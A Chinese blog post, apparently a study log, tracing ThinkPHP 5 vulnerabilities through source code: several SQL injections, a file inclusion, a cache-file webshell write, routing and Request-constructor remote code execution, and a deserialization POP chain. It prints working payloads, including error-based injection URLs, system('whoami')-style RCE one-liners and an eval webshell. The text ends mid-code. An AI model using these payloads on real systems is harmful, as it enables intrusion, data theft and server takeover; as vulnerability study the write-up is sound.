byc_404's blog

Do not go gentle into that good night

这段时间因为一些原因老是有点自我纠结,很大程度上是因为对所计划学习的内容无法定夺的原因。上周因为hw所以错过了wmctf,赛后去看题发现基本都是php之类的,都不是很想看。相对感兴趣的框架的链子自己也没找全。感觉菜的不行,相比几个月前审一些比赛中的框架手生了很多。

最近因为一直在看Node.js相关的漏洞跟开发去了,加上自己一直对php心里有种厌恶感,导致没有劲头去深入学习。而上周hw的经历让我意识到php仍旧是国内各种网站的大头。所以痛下决心,开始把php跟java的知识同步学习。这里就用红日七月火师傅他们的thinkphpvuln项目吧。希望能够对代审的功力有所提升。

tp5-sqli-insert

安装的话composer 一把梭。具体参见Thinkphp-vuln项目。安装tpdemo
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 版本间的sql注入漏洞。利用的话需要更改Index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

利用payload

1
http://localhost/tpdemo/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

注意这是在开启了tp的app_debug情况下的。否则我们的报错注入应该是看不到回显。

首先我们跟着Index.php中db这行语句,跟进think/db/Query.php的insert函数。

执行的sql语句如下。我们必然要跟进这个sql语句研究注入的可能。

1
$sql = $this->builder->insert($data, $options, $replace);

首先 $this->builder 为\think\db\builder\Mysql 类(这个其实就取决于你连接的数据库类型。稍微往前跟下可以看到) Mysql类继承于Builder类。所以
看向Builder的insert函数。

这里先跟进下parseData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}

// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}

$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}

parsedata接受的参数是我们传进的参数useranme数据。简单看下会发现中间的一个for循环是在遍历我们传进的数组并且只是进行一个拼接的操作。最后返回数据。比如我们的payload对应如下。$val[0]=inc,之后返回的$result只是$val[1],$val[2]的拼接。parseKey 方法并没有在处理我们的输入数据后影响什么。

1
2
3
4
5
6
7
8
9
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
```

所以这里处理完后回到insert函数。我们的输入直接送到返回拼接的sql语句。造成sql注入
完整语句不妨直接在debug报错的地方看。会发现回显了sql语句
```sql
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,version(),0x7e),1)+1)

显然上面case语句那里理论上exp,inc,dec都可以造成sql注入。但实际测试会发现只有username[0]exp无法注入。这是因为thinkphp内置过滤会将exp处理变为exp{空格}。导致无法注入。

tp5-sqli-update

配置Index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}

大致思路跟上面一样。只不过此处是update注入。我们同样可以跟到Query.php。发现其实调用的是Connection类的update方法。代码如下

1
$sql  = $this->builder->update($query);

builder依旧是上面提过的Builder类对象。其update方法依旧是先调用parseData再进行sql语句的返回。我们来看看修复后的parseData的case语句

default代码段parseArrayData


(这里我composer装不了tp5.1.7,如果是之前的版本parseArrayData应该是直接返回false的)

可以看到最后其实result是这样形式的字符串$fun('$point($value)')。那与我们之前的基本没有什么区别,还是有拼接。直接构造成updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')即可.所以我们前面只要进入default分支就能达成这里的sql语句构造了。

最后攻击payload

1
?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

tp5-sqli-select

配置Index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
}

payload

1
?username=)%20union%20select%20updatexml(1,concat(0x7e,user(),0x7e),1)%23

从成功执行注入的debug界面可以看到我们执行的sql语句

1
SELECT * FROM `users` WHERE ( `username` ) union select updatexml(1,concat(0x7e,user(),0x7e),1)# )

这是一个tp5全版本的注入。不过似乎官方不认这个洞。
接下来直接跟下源码.
首先我们上面的$username = request()->get('username');会经过Request类调用input方法处理输入.但是这个input方法并没有起到过滤的作用。像我们payload中不含/.的话就是直接原数据返回。

然后我们看到接下来调用的Query类的where方法

1
2
3
4
5
6
7
public function where($field, $op = null, $condition = null)
{
$param = func_get_args();
array_shift($param);
$this->parseWhereExp('AND', $field, $op, $condition, $param);
return $this;
}

parseWhereExp这里不用深入,主要是分析查询模式。直接看返回值的话会发现设置了类中的$options['where']。我们主要看后面select()

接下来依旧是tp5执行sql语句的老套路。实际调用的是Builder类的select 方法。这个方法调用了巨量的str_replace()用于填充语句。

where语句是存在用户可控变量的。所以跟进parseWhere.然后发现调用buildWhere

buildwhere代码量相对更多。但是同样存在一个for循环foreach ($where as $key => $val).这里我们进入最后一个else。并且调用parseWhereItem
而parseWhereItem中有这样的elseif

1
2
3
elseif ('EXP' == $exp) {
// 表达式查询
$whereStr .= '( ' . $key . ' ' . $value . ' )';

此处key为username。value为可控变量。即可拼接达成注入。

tp5.0-sqli-select-5.0.10

5.0.10版本的sql注入。配置Index.php如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
}
}

复现payload

1
?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#


前面提到了我们的输入会经过Request的get()方法。它会一路调用input(),getFilter(),filterValue(),filterExp()来处理我们的输入。

1
2
3
4
5
6
7
8
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}

可以看到像之前的exp会被变成exp的处理。但是5.0.10版本的过滤是有问题的。问题出在NOTLIKE上。其更新版本的处理是加入了NOT LIKE.

接下来跟上面那个全版本的sql注入可以按一样的流程走到parseWhereItem那。
我们的expnot like存在于this->exp这个数组.所以会进入底下elseif ('LIKE' == $exp || 'NOT LIKE' == $exp)的分支

1
2
3
4
5
6
7
8
9
10
11
elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
// 模糊匹配
if (is_array($value)) {
foreach ($value as $item) {
$array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
}
$logic = isset($val[2]) ? $val[2] : 'AND';
$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
} else {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
}

可以看到$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';这拼接了logic变量。而login会在传入了val[2]的时候取自val[2]。这是一个用户可控变量。所以可以达成sql注入。剩下的我们直接在前面构造一个合理的not like的语句就能在后面进行union select 从而拼出一个完整的sql语句。

今天先更这么多吧。看了php这么久果然还是nodejs更香……

tp5-sqli-orderby

Index.php配置如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'byc_404'])->order($orderby)->find();
var_dump($result);
}
}

(数据库中users表已有byc_404用户)
这里使用tp5.1.22版本。注入payload

1
?orderby[id`|updatexml(1,concat(0x7e,user(),0x7e),1)%23]=1

从成功触发注入的位置我们可以看到sql语句如下

1
SELECT * FROM `users` WHERE `username` = 'byc_404' ORDER BY `id`|updatexml(1,concat(0x7e,user(),0x7e),1)#` LIMIT 1

跟下流程。首先5.1.22对输入做的过滤跟以往版本不太一样了。我们先看看get方法的处理

1
2
3
4
5
6
7
8
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}

return $this->input($this->get, $name, $default, $filter);
}

input()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

可以看到如果我们的$data是数组的话。走的是array_walk_recursive。这个函数的作用是

1
2
array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool
将用户自定义函数 callback 应用到 array 数组中的每个单元

比如我写这样一个demo

1
2
3
4
5
6
7
8
9
10
11
<?php


$a=array("a"=>"testtest1232333","b##"=>"tes#tt##est");

function sanitize($str){
$str=str_replace("#","",$str);
echo($str."\n");
}

$end=array_walk_recursive($a,'sanitize');

自定义一个回调函数将字符中间的#替换为空。其输出为

可以看到实际上只遍历了数组的值。没有处理数组的键。所以这里的filtervalue对数组的键没有任何影响。

之后执行语句操作时。我们的where仍然跟前面一样。将值存储在$options数组中。而接受我们用户输入order方法也是一样、最终值被完整存进$this->options['order']

然后自然又是find了。它调用Builder类的select肯定已经非常熟悉了。不过这次我们orderby进入的是这个分支$this->parseOrder($query, $options['order'])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function parseOrder(Query $query, $order)
{
if (empty($order)) {
return '';
}

$array = [];

foreach ($order as $key => $val) {
if ($val instanceof Expression) {
$array[] = $val->getValue();
} elseif (is_array($val)) {
$array[] = $this->parseOrderField($query, $key, $val);
} elseif ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}

$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
}
}

return ' ORDER BY ' . implode(',', $array);
}

这里同样没有过滤。处理的函数只有一个parseKey。注意这里的parseKey是db/builder/Mysql.php中的parseKey。

它对key的处理只是加了反引号环绕。因此其实没有做任何过滤。我们注入payload只需用注释符即可解决掉。

最后官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在 )# 两个符号

tp5-sqli-Aggregatefunciton

tp5sql注入最后一个是mysql聚合函数导致的漏洞。 版本是5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
不同版本利用payload需要微调。

例如5.1.22版本payload

1
?options=id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#

我们还是跟进源码。从前面几次的经验我们已经可以总结出,tp5存在漏洞的几个版本对输入的过滤基本没有或者可以使用数组绕过。此处我们的输入同样没有受到过滤影响。因此直接从$result = db('users')->max($options);这里跟进max函数。发现进而调用了aggregate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function aggregate($aggregate, $field, $force = false)
{
$this->parseOptions();

$result = $this->connection->aggregate($this, $aggregate, $field);

if (!empty($this->options['fetch_sql'])) {
return $result;
} elseif ($force) {
$result = (float) $result;
}

return $result;
}

继续看到Connection类的aggregate

1
2
3
4
5
6
public function aggregate(Query $query, $aggregate, $field)
{
$field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);

return $this->value($query, $field, 0);
}

parsekey函数上面一个注入的例子提到了。是对我们的输入在两侧加反引号的作用。那么自然我们注入payload可以闭合加注释符解决掉。下面直接看value.value同样会调用我们非常熟悉的builder的select方法。只不过这次调用的是parseField 。最后还是没有做任何过滤处理。返回语句。

完整语句如下

1
SELECT MAX(`id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1

至此tp5的sql注入系列就结束了。明天开始先看rce,之后是反序列化pop链。

tp5-lfi

Index.php配置如下

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}

影响版本:5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10

使用?cacheFile=1.jpg(jpg为对应图片马)触发lfi.

首先输入由assign()函数处理。我们一路跟到View类的assign()函数。

1
2
3
4
5
6
7
8
9
public function assign($name, $value = '')
{
if (is_array($name)) {
$this->data = array_merge($this->data, $name);
} else {
$this->data[$name] = $value;
}
return $this;
}

看到我们传入的数据直接保存到view的$this->data
接下来调用fetch.我们同样一路跟到View类的fetch中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
// 模板变量
$vars = array_merge(self::$var, $this->data, $vars);

// 页面缓存
ob_start();
ob_implicit_flush(0);

// 渲染输出
try {
$method = $renderContent ? 'display' : 'fetch';
// 允许用户自定义模板的字符串替换
$replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
$this->engine->config('tpl_replace_string', $replace);
$this->engine->$method($template, $vars, $config);
} catch (\Exception $e) {
ob_end_clean();
throw $e;
}

// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
return $content;
}

这里很快会发现实际调用的是$this->engine->$method($template, $vars, $config);.而$method此处为fetch,$vars为我们可控的传入变量。接下来由模板引擎处理我们的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function fetch($template, $data = [], $config = [])
{
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
// 获取模板文件名
$template = $this->parseTemplate($template);
}
// 模板不存在 抛出异常
if (!is_file($template)) {
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
// 记录视图信息
App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
$this->template->fetch($template, $data, $config);
}

注意到如果$template对应的路径文件不存在的话直接报错了。所以这个lfi洞的前提还得需要我们环境代码中存在当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
如果这里没报错即进入template的fetch.

看到$vars被赋给data.而马上下面storage调用了read函数。里面存在extract这样的变量覆盖代码。并且直接includecacheFile。

也就是说,$cacheFile可以被变量覆盖。达成lfi。

官方的修复方法是通过将$cacheFile 变量存储在 $this->cacheFile 中.防止变量覆盖。

tp5.0-rce

Index.php配置

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

payload

1
http://localhost/tpdemo/public/?username=byc_404%0d%0a@eval($_GET[_]);//

上面的payload将把一句话webshell写入缓存文件。访问对应路径即可。

这个用例其实跟以前ichunqiu平台上一道thinkphp二次开发的模板缓存文件getshell很相似。这里来跟进下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static function set($name, $value, $expire = null)
{
self::$writeTimes++;
return self::init()->set($name, $value, $expire);
}
......

public static function init(array $options = [])
{
if (is_null(self::$handler)) {
// 自动初始化缓存
if (!empty($options)) {
$connect = self::connect($options);
} elseif ('complex' == Config::get('cache.type')) {
$connect = self::connect(Config::get('cache.default'));
} else {
$connect = self::connect(Config::get('cache'));
}
self::$handler = $connect;
}
return self::$handler;
}

这里init()函数主要是实例化了一个handler对象。此处为默认值File类。那么前往cache/driver/File类看下.
此处File类的set方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

可以看到。数据$value经由序列化后被拼接到含有php代码块的语句中。之后执行file_put_contents.符合我们写入shell的用法。
因此只需注意使用换行符bypass前面的注释符即可。

当然这个写shell rce的方法比较尴尬。因为文件名可以看到由getCacheKey决定。其文件名生成方式如下:先计算键名md5值。再取前两位为目录。后30位为文件名。我们这里是因为提前设定好了Index.php中键名为name.所以可以计算文件名b0/68931cc450442b63f5b3d276ea4297.php。但是实际中如果没有源码泄露无法得知键名。也就没法计算shell的路径。

当然。在反序列化pop链中我们利用这个File类关于文件名可控的问题就大不一样了。具体后面再说。

tp5.*-rce-get

比较出名的rce洞。影响版本5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
5.1.x版本的payload有

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.*

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

首先起因可以从config/app.php中看到。默认情况下var_pathinfo为s.url_route_must为false

显然此时我们可以任意调用控制器。thinkphp中的流程是http://site/?s=模块/控制器/方法

在重要代码controller处下断点(此处也是5.1.30后高版本官方修改的部分。说明原代码存在问题)

payload

1
?s=index/\think\Request/input&filter[]=system&data=whoami

自动跟随debug调用函数跟进。开始在controller这可以看见$result变量是存储了我们传入的值的数组。其值分别为index,\think\Request,input.
一路跟下去会发现执行代码的关键位置在
thinkphp\library\think\route\dispatch\Module.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');

try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];

// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);

// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);
});

return $this->app['middleware']->dispatch($this->request, 'controller');
}

仔细一看其实就是调用了反射方法。用$this->controller,$this->actionName.因为之前我们知道Request 类的input函数会对输入执行call_user_func操作。因此最后执行了call_user_func('system','whoami')
因此官方最后的修复是针对输入控制器名进行过滤^[A-Za-z](\w)*$

tp-5.*-rce-post

首先这个rce版本5.0.*应该是小于5.0.24的。所以用一个5.0.23版本的实验下。

首先payload

1
2
POST /?s=index/index HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami


这里因为我的Index.php是之前实验ifi时的。所以index/index路由返回Cache Success.实际上s只需要赋给一个存在method的控制器即可。

下面来跟下源码。首先从官方commit修改处可以看出原先代码中this->$method变量来自可控数据$_POST

1
2
3
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

那么我们就可以调用Request类的method了。看到payload中存在__construct。自然看向构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');
}

这个foreach明显存在配置覆盖的写法。这里继续下断点一路跟发现会根据app_debug的值前往当前类下param方法。
而这个方法全都走input方法。也就是都会调用了call_user_func
具体可以看这张图

前面提到我们可以覆盖属性。这里主要就是覆盖filterserver。因为method方法中是取的我们传入的this->server['REQUEST_METHOD']的值。所以覆盖为whoami后作为参数被送到input.input又因为filtervalue方法调用call_user_func。直接利用覆盖的system作为fliter值即可。
最后到达call_user_func rce

tp5.0.x-unserialize

这一部分主要是跟下tp5.0版本的反序列化pop链。不过这里不会分享exp.(网上跟先知应该都能很方便找到)。如果需要的话自己SCTF2020wp里有绕过短标签的exp。以及以前跟php框架有几个其他的exp可以自行寻找。当然我记得wh1t3P1g大佬自己把tp的popchain集成到phpggc中了。也可以自动生成。

然后就是windows下写文件的方法。目前能够在php7以前的版本写shell exp是有的。但php7的windows写shell我还没成功过。理论上windows不能成功的原因只是因为文件名不允许<,?的。但是如果用过滤器绕过的话应该是没问题的……
php5.4.45+windows 成功写入phpinfo() (关闭短标签)

这里我就直接跟下linux的payload吧。
首先是入口点。肯定是找__destruct函数。不难发现一共只有几个可用。我们找到 library\think\process\pipes下windows.php。发现其调用了$this->removeFiles.而removeFiles又调用了file_exists可以触发__toString方法。

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

ps.关于file_exists可以触发__toString自己以前还没有注意过。具体不妨去l3m0n师傅这篇文章下评论看看。
(应该是因为file_exists接受字符串参数,而只要对象被当做字符串即会触发__toString)
全局继续找toString.也只有几个选择。这里找到 think\Model.php
.它调用了toJson。而toJson继续调用了toArray.

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

同时注意这里Model类是抽象类。所以实际编写exp时我们必须用它的子类。比如此处的Pivot。
我们直接来到toArray。这里首先主要看有没有可以触发__call的情况。5.0.24版本下应该又三处都是可以满足的

1
2
3
$relation = $this->getAttr($key);
$value = $this->getRelationData($modelRelation);
$item[$key] = $value ? $value->getAttr($attr) : null;

与其说是找触发__call的。不如说是找可用方法。多数情况下这些方法基本利用不了。但是如果满足this->xxx($var)或者进一步可控类->xxx(可控变量)。我们就能找任意类的__call进行进一步挖掘。这也是pop链中call方法经常用到的原因之一。

为了了解我们如何控制这一步用来调用__call。我们先放一下全局找__call的过程。来选择一个触发方式。
对于$item[$key] = $value ? $value->getAttr($attr) : null;
这里看看$value$attr依次是怎么被赋值的。

value

1
2
3
$relation = Loader::parseName($name, 1, false);
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

主要是对$name调用parseName。而$name来自可控数组$this->append

也就是说。$modelrelation是Model这个类任意方法的返回值。(.$relation())。所以找一个直接返回可控数据的方法即可。比如getError

1
2
3
4
public function getError()
{
return $this->error;
}

回到上面。现在我们继续跟进getRelationData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

首先它接收的参数是Relation类的。所以我们上面返回的结果$this->error肯定也是一个Relation的对象了。(Relation也是抽象类。所以实例化时要用它的子类)
然后此处我们自然要走第一个if分支来控制返回值。分别看下isSelfRelation()getModel()发现都只是简单返回this->relationthis->query->model()。全部可控。
那只剩下让get_class($modelRelation->getModel()) == get_class($this->parent)成立了。
意思就是$modelRelation->getModel()$this->parent为同类,也就是要求$value->getAttr($attr)中的$value和上面可控的model为同类
那么现在$value->getAttr($attr)value跟完了。我们来看看$attr

1
2
3
4
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr)
......

上面提到过,modelRelation因为取自可控方法所以是任意值。我们直接全局找getBindAttr方法。只有一个接口类:Relation的子类OnetoOne

1
2
3
4
public function getBindAttr()
{
return $this->bindAttr;
}

数据可控。不过OnetoOne是抽象类。所以继续找子类。这里就只有两个子类。我们选择HasOne.

现在。我们做到了任意调用__call。剩下的就是找可用的__call

那么全局找可用的__call。此处可以找到
think\console\Output 类。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

那么首先上面触发点里$this->parent肯定是要传Output类的实例了。
下面看这里的$this->block()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

调用的是$this->handle->write。既然$this->handle可控,那么此处找一个同名的write方法。我们全局搜索找到Memcached类

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

同理。还是可以全局找set方法。第一个就是我们曾经在tp5RCE中见到的File类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

之前曾经说过rce时缓存文件名不可控。但是在反序列化中就不存在这个问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$filename = $this->getCacheKey($name, true);

protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

文件名来自$filename = $this->options['path'] . $name . '.php';.可控。
我们再看文件内容如何控制。

1
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里就是pop链最大的难点了。$data其实并不可控。具体可以回溯到我刚刚上面放的一连串调用write方法的源码处。注意到

1
2
3
4
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

write第二个参数是写死的true。它会一路传到File类作为$data写入。那么我们写文件等于控制不了写入内容。

但是没有关系。set在这个file_put_contents下还调用了一个函数setTagItem

1
2
3
4
5
6
7
8
9
10
11
